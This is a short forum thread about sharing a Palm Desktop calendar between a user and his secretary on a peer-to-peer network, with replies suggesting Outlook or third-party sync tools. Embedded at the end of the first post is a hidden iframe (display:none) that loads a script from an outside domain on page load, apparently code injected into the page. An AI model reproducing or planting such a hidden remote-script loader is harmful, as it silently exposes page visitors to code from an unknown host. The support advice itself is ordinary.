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    Palm Desktop on Peer Network?

    I'd like to install the Palm Desktop such that my secretary or I can make changes to my calendar. I would synch with my Kyocera using the cradle at my desk.

    We're on a "peer-to-peer" network.

    Thanks.
    John Liebler
    St. Andrew's Episcopal Church
    Fort Pierce, Florida<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

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    Are you using just the Palm Desktop or Outlook?

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    Palm Desktop on Peer Network?

    Just the Palm Desktop.

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    Palm Desktop vs Outlook

    If you have access to Outlook (not Outlook Express), it is a piece of cake. You would just change the conduit from Sync-ing from Palm Desktop to Outlook and share your info from Outlook with your Secretary.

    Since you only use Palm, there are a few options, many of which are discussed here

    Time & Chaos - $45 per user
    WeSync - Free, but no longer providing support and is web based
    Group Sync - Starts @ $20 per user

    For his option to work, you need to share the Palm Directory on your PC or move your existing data to the network. From your secretaries PC, you point it to the network share.

    Not ideal by any means, but it works and is free.

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